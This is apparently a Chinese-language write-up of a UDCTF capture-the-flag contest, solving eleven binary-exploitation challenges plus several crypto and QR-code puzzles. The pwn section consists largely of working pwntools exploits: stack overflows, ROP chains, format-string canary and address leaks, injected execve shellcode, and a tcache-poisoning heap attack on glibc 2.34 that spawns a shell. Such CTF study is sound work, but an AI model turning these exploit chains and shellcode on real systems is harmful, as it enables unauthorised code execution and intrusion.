目录
PWN
1,pwn1
2,pwn 2
3,pwn 3
4,pwn 4
5,pwn 5
6,pwn 6
7,pwn7
8,pwn8
9,Sally Seashells
10,Sally The Pirate
11,Wide Open
Crypto
1,two_minute_challenge
2, two_minute_challenge_Pt2
3,My First XOR Problem
misc
4PurQRatory
这个比赛感觉题都非常,惟独pwn部分出奇的简单,白送。就像是个入门教程,居然因为这些pwn进到前50
前8题出题方都懒得写名字
栈内溢出覆盖,输入v4溢出覆盖到v5 这题都不用本地
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[268]; // [rsp+0h] [rbp-110h] BYREF
int v5; // [rsp+10Ch] [rbp-4h]
v5 = 1234;
puts("Welcome to PWN 101, smash my variable please.\n");
gets(v4, argv);
if ( v5 == 4919 )
system("/bin/sh");
return 0;
}
WP
from pwn import *
p = remote('0.cloud.chals.io', 19595 )
p.sendline(b'A'*0x10c+ p64(0x1337) )
p.interactive()
32位gets溢出覆盖到ret有shell函数,无PIE
char *vuln()
{
char s[59]; // [esp+9h] [ebp-3Fh] BYREF
return gets(s);
}
int win()
{
return system("/bin/sh");
}
WP,记得听老师讲课的时候计算溢出先生成个串看溢出位置,其实直接用gdb跟进去看返回地址更方便。不清楚为什么这么教。
from pwn import *
p = remote('0.cloud.chals.io', 22209 )
p.sendline(b'A'*(0x3f+4)+ p32(0x80491d6) )
p.interactive()
依然是32位,但shell需要参数
char *vuln()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF
return gets(s);
}
int __cdecl win(int a1)
{
if ( a1 == -559038737 )
return system("/bin/sh");
else
return puts("Almost...");
}
32位传参的是在栈里 ret,rret,arg1,arg2
from pwn import *
p = remote('0.cloud.chals.io', 28949 )
p.sendline(b'A'*(0x20+4)+ p32(0x80491d6)+ p32(0xDEADBEEF)*2 )
p.interactive()
与上题一样,但是64位,64位传参前6个用寄存器rdi,rsi,rdx,rcx,r8,r9,这时要用到一个rop将参1弹到rdi
__int64 vuln()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
return gets(v1);
}
int __fastcall win(int a1)
{
if ( a1 == 0xDEADBEEF )
return system("/bin/sh");
else
return puts("Almost...");
}
WP
from pwn import *
p = remote('0.cloud.chals.io', 10711 )
context.arch = 'amd64'
pop_rdi = 0x0000000000401253 # pop rdi ; ret
p.sendline(b'A'*(0x20+8)+ flat(pop_rdi+1, pop_rdi, 0xDEADBEEF, 0x401176) )
p.interactive()
与上题基本相同,只是开了PIE,题目加载地址是随机的,但是他上来就把地址给了,只需要用偏移算一下
__int64 vuln()
{
return gets();
}
int __fastcall win(int a1)
{
if ( a1 == 0xDEADBEEF )
return system("/bin/sh");
else
return puts("Almost...");
}
WP
from pwn import *
p = remote('0.cloud.chals.io', 22287 )
context.arch = 'amd64'
context.log_level = 'debug'
pop_rdi = 0x0000000000001323 # pop rdi ; ret
p.recvuntil(b'How about reading a leak? ')
pwn_base = int(p.recvline(),16) - 0x122e
p.sendline(b'A'*(0x20+8)+ flat(pwn_base + pop_rdi, 0xDEADBEEF, pwn_base + 0x122e) )
p.interactive()
这回没有直接给地址,但给了printf这个无参的时候通过%n$p得到栈内地址,具体偏移要调用着看一般是6开始到栈。32位是8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[24]; // [rsp+0h] [rbp-20h] BYREF
int (__fastcall *v5)(int); // [rsp+18h] [rbp-8h]
init(argc, argv, envp);
v5 = win;
printf("How about creating a leak?");
gets();
printf(format);
vuln();
return 0;
}
WP
from pwn import *
p = remote('0.cloud.chals.io', 20646 )
#p = process('./pwnme6')
context.arch = 'amd64'
context.log_level = 'debug'
#gdb.attach(p)
#pause()
pop_rdi = 0x0000000000001353 # pop rdi ; ret
p.sendlineafter(b"How about creating a leak?", b'%9$p')
pwn_base = int(p.recv(14), 16) - 0x122e
p.sendline(b'A'*(0x20+8)+ flat(pwn_base + pop_rdi +1,pwn_base + pop_rdi, 0xDEADBEEF, pwn_base + 0x122e) )
p.interactive()
这回带了canary,依然是先有printf泄露再溢出,这里因为栈到ret中间有个canary需要printf泄露
unsigned __int64 vuln()
{
char format[32]; // [rsp+0h] [rbp-40h] BYREF
char v2[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("How about creating a leak AND smashing a canary?");
gets(format);
printf(format);
gets(v2);
return __readfsqword(0x28u) ^ v3;
}
WP
from pwn import *
p = remote('0.cloud.chals.io', 12229)
#p = process('./pwnme6')
context.arch = 'amd64'
context.log_level = 'debug'
#gdb.attach(p)
#pause()
pop_rdi = 0x0000000000001383 # pop rdi ; ret
p.sendlineafter(b'How about creating a leak AND smashing a canary?', b'%13$p,%15$p')
canary = int(p.recvuntil(b',', drop= True), 16)
pwn_base = int(p.recv(14), 16) - 0x12f8 - 28
p.sendline(b'A'*(0x18)+ flat(canary, 0, pwn_base + pop_rdi +1,pwn_base + pop_rdi, 0xDEADBEEF, pwn_base + 0x124e) )
p.interactive()
最后一个入门是32位,还是传参的问题,调用win前要先调用3个fun,由于每次传ROP并不会降栈,所以在rret的位置要平衡
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vuln();
return 0;
}
unsigned int vuln()
{
char s[24]; // [esp+Ch] [ebp-3Ch] BYREF
char v2[24]; // [esp+24h] [ebp-24h] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("How about creating a leak AND smashing a canary AND chaining several functions?");
gets(s);
printf(s);
gets(v2);
return __readgsdword(0x14u) ^ v3;
}
Elf32_Dyn **__cdecl func1(int a1)
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
if ( a1 == 0x1337 )
gateway1 = 1;
return result;
}
Elf32_Dyn **__cdecl func2(int a1)
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
if ( a1 == 0xCAFEF00D )
gateway2 = 1;
return result;
}
Elf32_Dyn **__cdecl func3(int a1)
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
if ( a1 == 0xD00DF00D )
gateway3 = 1;
return result;
}
int win()
{
if ( gateway1 && gateway2 && gateway3 )
return system("/bin/sh");
else
return puts("Almost...");
}
WP
from pwn import *
p = remote('0.cloud.chals.io', 17140)
#p = process('./pwnme8')
context.arch = 'i386'
context.log_level = 'debug'
elf = ELF('./pwnme8')
#gdb.attach(p)
#pause()
p.sendlineafter(b'?', b'%19$X,%23$p,')
canary = int(p.recvuntil(b',', drop= True), 16)
pwn_base = int(p.recvuntil(b',', drop= True), 16) - elf.sym['main'] - 30
pop_ebx = pwn_base + 0x00001022 # pop ebx ; ret
elf.address = pwn_base
p.sendline(b'A'*(0x18)+ flat(canary, 0, 0,0, elf.sym['func1'], pop_ebx, 0x1337, elf.sym['func2'], pop_ebx, 0xCAFEF00D, elf.sym['func3'], pop_ebx, 0xD00DF00D, elf.sym['win']) )
p.interactive()
开始有名字了。
栈可执行,这样可以直接把代码写到栈里,在ret时指过去。由于空间不够,所以要用比较短的shellcode不能用程序生成的
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[12]; // [rsp+4h] [rbp-3Ch] BYREF
__int64 v5; // [rsp+10h] [rbp-30h]
__int64 v6; // [rsp+18h] [rbp-28h]
__int64 v7; // [rsp+20h] [rbp-20h]
__int64 v8; // [rsp+28h] [rbp-18h]
__int64 v9; // [rsp+30h] [rbp-10h]
__int64 v10; // [rsp+38h] [rbp-8h]
init(argc, argv, envp);
v10 = 347665LL;
v9 = 0LL;
v8 = 0LL;
v7 = 0LL;
v6 = 347665LL;
v5 = 347665LL;
printf("So this is where Sally sold her sea SHELLS: %p\n", s);
fgets(s, 96, stdin);
return 0;
}
这题有个坑,在IDA反编译时这些赋值都在gets前,但汇编代码发现后边还有没显示(IDA不可全信),所以会破坏一些输入的数据,导致可写的代码比较短。
.text:0000000000001204 48 C7 45 F8 11 4E 05 00 mov [rbp+var_8], 54E11h
.text:000000000000120C 48 C7 45 F0 00 00 00 00 mov [rbp+var_10], 0
.text:0000000000001214 48 C7 45 E8 00 00 00 00 mov [rbp+var_18], 0
.text:000000000000121C 48 C7 45 E0 00 00 00 00 mov [rbp+var_20], 0
.text:0000000000001224 48 C7 45 D8 11 4E 05 00 mov [rbp+var_28], 54E11h
.text:000000000000122C 48 C7 45 D0 11 4E 05 00 mov [rbp+var_30], 54E11h
.text:0000000000001234 48 8D 45 C4 lea rax, [rbp+s]
.text:0000000000001238 48 89 C6 mov rsi, rax
.text:000000000000123B 48 8D 3D C6 0D 00 00 lea rdi, format ; "So this is where Sally sold her sea SHE"...
.text:0000000000001242 B8 00 00 00 00 mov eax, 0
.text:0000000000001247 E8 24 FE FF FF call _printf
.text:0000000000001247
.text:000000000000124C 48 8B 15 DD 2D 00 00 mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:0000000000001253 48 8D 45 C4 lea rax, [rbp+s]
.text:0000000000001257 BE 60 00 00 00 mov esi, 60h ; '`' ; n
.text:000000000000125C 48 89 C7 mov rdi, rax ; s
.text:000000000000125F E8 1C FE FF FF call _fgets
.text:000000000000125F
.text:0000000000001264 48 B8 11 4E A5 5E 11 4E A5 5E mov rax, 5EA54E115EA54E11h
.text:000000000000126E 48 89 45 D0 mov [rbp+var_30], rax
.text:0000000000001272 B8 EF BE AD DE mov eax, 0DEADBEEFh
.text:0000000000001277 48 89 45 F8 mov [rbp+var_8], rax
.text:000000000000127B B8 00 00 00 00 mov eax, 0
.text:0000000000001280 C9 leave
.text:0000000000001281 C3 retn
WP
from pwn import *
p = remote('0.cloud.chals.io', 22808)
#p = process('./seashells')
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./seashells')
p.recvuntil(b'SHELLS: ')
stack = int(p.recvline(), 16)
shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
p.sendline(b'A'*(0xc+8)+ shellcode.ljust(0x30, b'\x00') + p64(stack + 0xc +8 ) )
p.interactive()
与上题基本相同多了canary但检了printf可以泄露
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
printf("This might help you out: %p\n", format);
gets(format);
fflush(stdout);
printf(format);
fflush(stdout);
gets(format);
return 0;
}
同样IDA里并没有体现出对canary的检查
from pwn import *
p = remote('0.cloud.chals.io', 12185)
#p = process('./parrot')
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./parrot')
#gdb.attach(p)
#pause()
p.recvuntil(b'out: ')
stack = int(p.recvline(), 16)
p.sendline(b'%15$p,')
canary = int(p.recvuntil(b',', drop=True), 16)
shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
p.sendline(shellcode.ljust(0x48, b'\x00') + flat(canary, 0 , stack) )
p.interactive()
唯一有难度的一题,堆题给的libc-2.34这个版本把__free_hook删了,并且堆指针作了异或加密
不过很良心,给了UAF还给了edit这就好办了直接写__IO_file_jumps
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 1uLL);
setvbuf(stdout, 0LL, 2, 1uLL);
while ( 1 )
{
printf(
"You are using %d/100 chunk addresses.\n1. New\n2. Delete\n3. Edit \n4. View data\n5. Exit\n> ",
(unsigned int)space);
__isoc99_scanf("%d", &v4);
getchar();
switch ( v4 )
{
case 1:
menu_malloc();
break;
case 2:
menu_free();
break;
case 3:
menu_edit();
break;
case 4:
menu_view();
break;
case 5:
exit(0);
default:
continue;
}
}
}
__int64 menu_free()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("which index?\n> ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0x63 )
{
puts("Invalid request");
return 1LL;
}
else
{
free(*((void **)&arr + (int)v1)); // 这里没有清理指针,有UAF
--space;
return 0LL;
}
}
WP
先释放大块得到main_arena计算出libc再通过tcache Attack 向_IO_file_jumps写one_gadget(虽然这东西经常用不了,在这试一下确实行,省去好多麻烦)
from pwn import *
p = remote('0.cloud.chals.io', 10605)
#p = process('./pwnme11')
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./pwnme11')
libc_elf = ELF('./libc.so.6')
menu = b'> '
def add(idx, size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
p.sendlineafter(menu, msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
add(0, 0x20, b'A')
add(1, 0x20, b'A')
add(2, 0x500, b'A')
add(3, 0x18, b'A')
free(2)
show(2)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 - libc_elf.sym['main_arena']
print('libc:', hex(libc_base))
libc_elf.address = libc_base
free(0)
free(1)
show(0)
key = u64(p.recvline()[:-1].ljust(8, b'\x00'))
heap_addr = key<<12
print('heap:', hex(key<<12))
edit(1, p64( key ^ libc_elf.sym['_IO_file_jumps'] ) )
one = [0xda811, 0xda814, 0xda817]
one_gadget = libc_base + one[1]
add(4, 0x20, b'A')
add(5, 0x20, p64(0)*3 + p64(one_gadget))
#gdb.attach(p)
#pause()
p.interactive()
给了个密码和一张图,显然他是按那个顺序加密的
'''
Two Minute Challenge
468
OTP
I was challenged to make a problem in 2 minutes. Can you solve it as fast as I wrote it? (See attached screenshot, no guessing needed.)
'''
a = b'61217660734247595d165c47545e524049307077617748455c0c4508465058544d1860737761711a400d5e125c4a525b511c4e67707667764e155d5d465040535f004f1c617d7065721e405c5c465e4a550e531d496c7772617f4e405d5c405b47055c044f1f62257730724f41515e4b5d16555f50484e65702662274d405e51470c46555d524a4e607d7660734a475a5d165e12545e56484933707762724d4c5c0c475e475458574d186325766d7142400d5c475f40525950404a34727067774f115e08465840505f034d496071746d721e420c5d175a43540a504d4860732260234f405d50440847075e544a196620'
b = bytes.fromhex(a)
from base64 import *
a = 'UDCTF{'
#b64,hex,b64,hex,xor,hex
a1 = b64encode(b64encode(a).hex().encode()).hex().encode()
a1 = b'4e5459314e5455794e4451314e6a51314e57457a4e773d3d'
key = bytes([a1[i]^b[i] for i in range(48)])
key = b'UDCTF{thisisakey}'
c = bytes([b[i]^key[i%17] for i in range(len(b))])
#b'4e5459314e5455794e4451314e6a51314e57457a4e7a59304e3245305a5459324e6a49314e4455794e6d4931595455324d7a6b7a4d4459784e4451304e6a64684e546733595451324e7a55314f4464684e4745324e6a59794e546332597a63314e6a51314f4455794e6d4d305a54557a4e44597a4f513d3d'
d = bytes.fromhex(c.decode())
#b'NTY1NTUyNDQ1NjQ1NWEzNzY0N2E0ZTY2NjI1NDUyNmI1YTU2MzkzMDYxNDQ0NjdhNTg3YTQ2NzU1ODdhNGE2NjYyNTc2Yzc1NjQ1ODUyNmM0ZTUzNDYzOQ=='
e = b64decode(d)
#b'5655524456455a37647a4e666254526b5a5639306144467a587a4675587a4a6662576c756458526c4e534639'
f = bytes.fromhex(e.decode())
#b'VURDVEZ7dzNfbTRkZV90aDFzXzFuXzJfbWludXRlNSF9'
print(b64decode(f))
#UDCTF{w3_m4de_th1s_1n_2_minute5!}
给了一个hash值和一个字典,显然是爆破,因为这东西确实没法逆
import random
import hashlib
f=open("dictionary.txt","r")
lngstr=f.read()
f.close()
words=lngstr.split("\n")[:-1]
assert(len(words)==187632)
word1=random.choice(words)
word2=random.choice(words)
target = hashlib.sha256("%s %s" % (word1, word2)).hexdigest()
print(target)
word3=random.choice(words)
print(word3)
word4=random.choice(words)
print(word4)
target = hashlib.sha256("%s %s" % (word3, word4)).hexdigest()
print(target)
爆破
import hashlib
f=open("dictionary.txt","r")
lngstr=f.read()
f.close()
words=lngstr.split("\n")[:-1]
for word1 in words:
for word2 in words:
target = hashlib.sha256(f"{word1} {word2}".encode()).hexdigest()
#print(target)
if target == '0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a564fcc0b07a4913':
print(word1, word2)
print("UDCTF{%s_%s}" % (word1, word2))
exit()
#UDCTF{coven_salols}
这个也不是技术题,给了加密方法,但密钥只能猜3字节
#!/usr/local/bin/python3.9
from pwn import *
import random
import string
import binascii
import os
s=os.urandom(12)
random.seed(s)
with open('flag.txt','r') as f:
flag = f.read().encode()
def create_key():
key = ''
for i in range(10):
key += random.choice(string.ascii_lowercase)
return binascii.hexlify(key.encode())
k = create_key()
enc = xor(flag,k)
print(b'Decrypt this -> ' + enc)
这个只能通过已经显示的内容俩字符俩字符的猜,每回出26个结果,看哪个像句人话
import hashlib
from pwn import xor
import binascii
import random
import string
def create_key():
key = ''
for i in range(10):
key += random.choice(string.ascii_lowercase)
return binascii.hexlify(key.encode())
enc = open('enc', 'rb').read()
print(len(enc), enc)
flag1 = b'UDCTF{X0R_i5_th3_b35'
tkey = bytes([flag1[i]^enc[i] for i in range(10)])
print(tkey)
flag3 = bytes([tkey[i]^v for i,v in enumerate( enc[20:] ) ])
print(flag3)
for i1 in range(0x61, 0x7b):
a = hex(i1)[2:].encode()
print(flag1+bytes([enc[len(flag1)]^a[0], enc[len(flag1)+1]^a[1]]))
#UDCTF{X0R_i5_th3_b35t}
7 Lovers' Quarre
这题确实,用AES解密会出现第1块乱码,到底哪错了,等正确的WP
这个是一个像聊天室的东西,客户端把话存服务端,然后再取回来
import os
import time
import requests
import json
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Util import number
import logging
class NoPartnerException(Exception):
pass
class NoMessageException(Exception):
pass
class DHSession(requests.Session):
def __init__(self,id: str, g: int,s: int,p: int,partner: str,url: str, conversation_file: str, conversation_starter: bool):
super(DHSession,self).__init__()
self.shared_secret = None
self.secret = s
self.modulus = p
self.exp = pow(g,self.secret,self.modulus)
self.partner = partner
self.id = id
self.url = url
self.conversation_starter = conversation_starter
self.conversation_file = conversation_file
self.__ctr = 0
self.post(f"{url}/sessions/{self.id}",data=json.dumps({"exp": self.exp}),headers={"Content-Type": "application/json"})
self.__get_key()
def __get_key(self):
for i in range(5):
res = self.get(f"{self.url}/sessions/{self.partner}/key")
if res.ok:
self.shared_secret = pow(res.json()["exp"],self.secret,self.modulus).to_bytes(128,"big")[:16]
return
time.sleep(2**i)
raise NoPartnerException("Partner is offline!")
def __send_message(self,message: str):
self.post(f"{self.url}/sessions/{self.id}/messages",data=self.__encrypt_and_serialize_message(message),headers={"Content-Type": "application/json"})
def __read_message(self):
res = self.get(f"{self.url}/sessions/{self.partner}/messages/{self.__ctr}")
if res.ok and res.json()["message"]:
self.__ctr += 1
return res.json()
else:
raise NoMessageException()
def __encrypt_and_serialize_message(self,message: str):
cipher = AES.new(self.shared_secret,AES.MODE_CBC)
ct = cipher.encrypt(pad(message.encode("utf-8"),16)).hex()
return json.dumps({"message": ct, "iv": cipher.iv.hex()})
def conversation(self):
with open(self.conversation_file) as f:
if self.conversation_starter:
for line in f:
logging.debug(f"Sending {line.strip()}")
self.__send_message(line.strip())
self.wait_for_message()
else:
for line in f:
self.wait_for_message()
logging.debug(f"Sending {line.strip()}")
self.__send_message(line.strip())
def wait_for_message(self):
i = 0
while i < 5:
try:
self.__read_message()
return
except NoMessageException:
time.sleep(2**i)
i += 1
raise NoPartnerException()
def end_conversation(self):
self.delete(f"{self.url}/sessions/{self.partner}")
def __exit__(self,*args):
super(DHSession,self).__exit__(*args)
self.end_conversation()
def dhsession(url: str, id: str, partner: str, g: int, s: int, p: int, conversation_file: str,conversation_starter: bool)->DHSession:
return DHSession(id,g,s,p,partner,url,conversation_file,conversation_starter)
if __name__ == "__main__":
g = 2
s = number.getPrime(512)
p = 0xf6c6d4d9e03b8d02e7a525366e6a811d8558fbde1368904742a82e376b2511b48108be0dddb3fbb8fefb22cd66e158ac684a98e09d122ce37cda9574f2fc62f6fb1b99d6663a8db8380391b35653b87991279b3a296a774d18ec18d42169ee67d4f21ba9b3f39cdced3a0584177aa6639a70f48622b719a4952ddb4decf3
url = os.environ.get("MESSAGING_SERVER")
partner = os.environ.get("PARTNER")
id = os.environ.get("CHAT_ID")
with dhsession(url,id,partner,g,s,p,os.environ.get("CONVERSATION"),os.environ.get("NAME") == "Eve") as session:
session.conversation()
有传key和传数据两块
key是通过DLP加密的,这个直接解出后与题目上的512不一至,明显小了,但AES解密的2,3chunk还是正确的,后来经检查在建AES对象时忘了写iv
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
#exp = pow(g,self.secret,self.modulus)
#b0f1f0dd-7564-40ab-90e1-c23fa7f88d11
exp1 = 0x3def414f61737a47895419ec73fc1eed713c954debfefd7c5c4fb2893dfee959744fa9fc9eabf0a5f6e86b476c952745608b1e513260d872c456b1ca58b54252d69c448ceb08c6700351417009883bb83a5223fa521c6d0142dbf3bce0dd2c050decc6ddf3e0a1b3956468ee9a8e7078fa3614282d34b44ae0137d72997d
#bc77389e-6812-4060-8c41-51c16af1d593
exp2 = 0xb634ed07578e7c5b2c06373f2622e71fa32b06ef77022e2ed89df68af194421bb2627fc49c49f6911111c46042b466ac1b6914552dca607a045c681842ad6da0f5ad10e91ecd8d761d7e440d0b7f0cc5c2aa1d595f9c6704519a5c8203eb252dc29743773538ef960f97005143d4cee38837aaf1cc98ead678d44c77002d
g = 2
p = 0xf6c6d4d9e03b8d02e7a525366e6a811d8558fbde1368904742a82e376b2511b48108be0dddb3fbb8fefb22cd66e158ac684a98e09d122ce37cda9574f2fc62f6fb1b99d6663a8db8380391b35653b87991279b3a296a774d18ec18d42169ee67d4f21ba9b3f39cdced3a0584177aa6639a70f48622b719a4952ddb4decf3
#secret = discrete_log(exp,mod(g,p))
secret1 = 2080521753860202002099740268320930807515170161976250233944489448066138942324874071
secret2 = 1385855714742564057801704779639995772897457603490317583453431081136873607971662123
def decrypt(exp, secret, message, iv):
message = bytes.fromhex(message)
iv = bytes.fromhex(iv)
shared_secret = pow(exp,secret,p).to_bytes(128,"big")[:16]
cipher = AES.new(shared_secret,AES.MODE_CBC, iv)
m = cipher.decrypt(message)
print(m)
#{'message': '89c5eda0160ea6676547e7f3a82275b67843fb3ec32f622d21e56b342aaeecdf885c19d6505a6c61632286353c2f0289',
#'iv': '15eff1e0d50e737e4da7d90c1e3254c7'}
msg = '''
{'message': '89c5eda0160ea6676547e7f3a82275b67843fb3ec32f622d21e56b342aaeecdf885c19d6505a6c61632286353c2f0289', 'iv': '15eff1e0d50e737e4da7d90c1e3254c7'}
{'message': 'dbfb8a93ddbab5399bc6fa85099ac4f6', 'iv': '9be783e6908a867ae17345dc82610d74'}
{'message': 'a0dcfbc813c22ccef7129fa6c1a43719', 'iv': '3b0b1d9e326c3c0e5254d5cd524c7ce1'}
{'message': '7ad11d3abf40d1be21a2de2b37026778fba52e353336008d0c8a9eb62d606b73fc4b2118d76f4fab7f3b6fe74461137b', 'iv': 'f7cb58357ae4624a5f2c53bb59ff3ca4'}
{'message': 'af1740afaf72098a30c9f812705937ee', 'iv': '66ebdeba64b38da12a64eeb640093cd3'}
{'message': '9c3c7ccc7e6d2e2ce4fb4416f66b79e4fb81b89c06dde44cfad682ff917428e2', 'iv': 'e822adf7969889dcdb06a9d2e73dda4f'}
{'message': 'd653984a97df944819049c103bc3e840', 'iv': '80112141d01a42b8535c4ea65abd96cd'}
{'message': '0326fe6886d357f52e62ccd99faf0a858d3d1d68c21df4e293f06c55c6605371', 'iv': 'be1282a97046da5f5f329ccc78c0a6a9'}
{'message': '6c6df14d72e88936b5dae35e011535b8', 'iv': '5d5955c20f32f588c930958787234704'}
{'message': '3c9864a155a5e1d5c520ac990124de7d', 'iv': 'c1dff9627b16b32a136564b6aa177e2c'}
{'message': '4604b112075ab3824d9b52a72e8931c4', 'iv': 'e1f2e4f410be56eedc7ad4f0a2f881e6'}
{'message': 'c1d473356e09c9eebe94d510eec65313', 'iv': 'bf57152670937c3536a88a0d15cd235e'}
'''.split('\n')
for v in msg:
if len(v)<10:
continue
v = eval(v)
decrypt(exp1, secret1, v['message'], v['iv'])
结果会这样,恶心不——半个flag
b"UDCTF{What do you think you're doing?}\n\n\n\n\n\n\n\n\n\n"
b'What?\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
b'With Alice\x06\x06\x06\x06\x06\x06'
b"I don't think that's your business\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
b'It is now\x07\x07\x07\x07\x07\x07\x07'
b'What are you talking about?\x05\x05\x05\x05\x05'
b"I'm her boss\x04\x04\x04\x04"
b"You're not serious\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
b'yes I am\x08\x08\x08\x08\x08\x08\x08\x08'
b'This is insane\x02\x02'
b'leave her alone\x01'
b'fine\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
这题还不错,又学了一着
题目比较直白,给了个PDF,有107页,里边全是二维码,第1步是把PDF转图片(收费的软件没有只能用python fitz库)
import fitz
def pdf_image(pdfPath, imgPath, zoom_x, zoom_y, rotation_angle):
# 打开PDF文件
pdf = fitz.open(pdfPath)
# 逐页读取PDF
for pg in range(107):
page = pdf[pg]
# 设置缩放和旋转系数
trans = fitz.Matrix(zoom_x, zoom_y).prerotate(rotation_angle)
pm = page.get_pixmap(matrix=trans, alpha=False)
# 开始写图像
pm._writeIMG(imgPath + str(pg) + ".png",0)
pdf.close()
pdf_image(r"4_PurQRatory.pdf", r"4_img/", 10, 10, 0)
第二步把一页4个的图切开成单个二维码用cv2 (opencv)
import cv2
for i in range(107):
img = cv2.imread(f"./4_img/{i}.png")
cropped = img[800:3100, 800:3000] # 裁剪坐标为[y0:y1, x0:x1]
cv2.imwrite(f"./4_img2/{i}1.png", cropped)
cropped = img[800:3200, 3000:5400] # 裁剪坐标为[y0:y1, x0:x1]
cv2.imwrite(f"./4_img2/{i}2.png", cropped)
cropped = img[3200:5400, 800:3100] # 裁剪坐标为[y0:y1, x0:x1]
cv2.imwrite(f"./4_img2/{i}3.png", cropped)
cropped = img[3200:5400, 3100:5400] # 裁剪坐标为[y0:y1, x0:x1]
cv2.imwrite(f"./4_img2/{i}4.png", cropped)
#break
第三步这个比较坑,一开始以为用cv2能直接转,发现有大量出不来的,虽然头块和尾块出来了,但中间一块出不来,网上看用pyzbar(win11安装后将system32下的msvc120改回原名放到python pyzbar的目录下,win11废弃了但python库没更新)
import cv2
import os
from pyzbar import pyzbar
from PIL import Image
for i in range(107):
for j in range(1,5):
fname = f"./4_img2/{i}{j}.png"
if os.path.exists(fname):
val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
print(fname,':', val[0].data)#打印识别出的链接
#66,29-2,99
#UDCTF{5t3g0_4nd_qr_b3_fun_f0r_a11_y6d4t}